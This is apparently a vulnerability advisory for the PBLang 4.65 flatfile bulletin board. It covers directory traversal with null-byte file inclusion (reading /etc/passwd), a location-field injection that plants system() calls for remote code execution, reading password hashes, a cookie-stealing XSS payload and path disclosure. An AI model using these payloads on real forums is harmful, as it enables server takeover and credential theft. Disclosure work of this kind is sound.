PBLang 4.65 (possibly prior versions) remote code execution

PBLang 4.65 (possibly prior versions) remote code execution / administrative
credentials disclosure / system information disclosure / cross site scripting /
path disclosure

software:

description: PBLang is a powerful flatfile Bulletin Board System. It combines
many features of a professional board, but does not even require SQL support. It
is completely based on text-file.

site: http://pblang.drmartinus.de/
download: https://sourceforge.net/project/showfiles.php?group_id=62953

1) system disclosure:

you can traverse directories and see any file (if not .php or .php3 etc.) and
include any file on target system using '../' chars and null byte (%00), example:

http://target]/[path]/pblang/setcookie.php?u=../../../../../etc/passwd%00

vulnerable code in setcookie.php:

   ...
16 $usrname=$HTTP_GET_VARS['u'];
17 @include($dbpath.'/'.$usrname.'temp');
   ...

2) remote code execution:

board stores data in files, when you register a [username] file without extension
is created in /db/members directory, inside we have php code executed when you
login, so in location field type:

madrid"; system($HTTP_POST_VARS[cmd]); echo "

in /db/members/[username] file we have

...
$userlocation="madrid"; system($HTTP_GET_VARS[cmd]); echo "";
...

no way to access the script directly, /db/members is .htaccess protected
and extra lines are deleted from files after you login, so you should make
all in a POST request and re-register

this is my proof of concept exploit, to include [username] file I make a GET
request of setcookie.php?u=[username]%00&cmd=[command] but you can call username
file through some other inclusion surely when you surf the forum:

3)admin/user credentials disclosure:

you can see password hash of any user or admin sending the command:

cat ./db/members/[username]


4) cross site scripting:

register and in location field type:

madrid"; echo "<script>alert(document.cookie)</script>

then check this url:

http://[target]/[path]/setcookie.php?u=[username]%00


5) path disclosure:

http://[target]/[path]/setcookie.php?u=%00
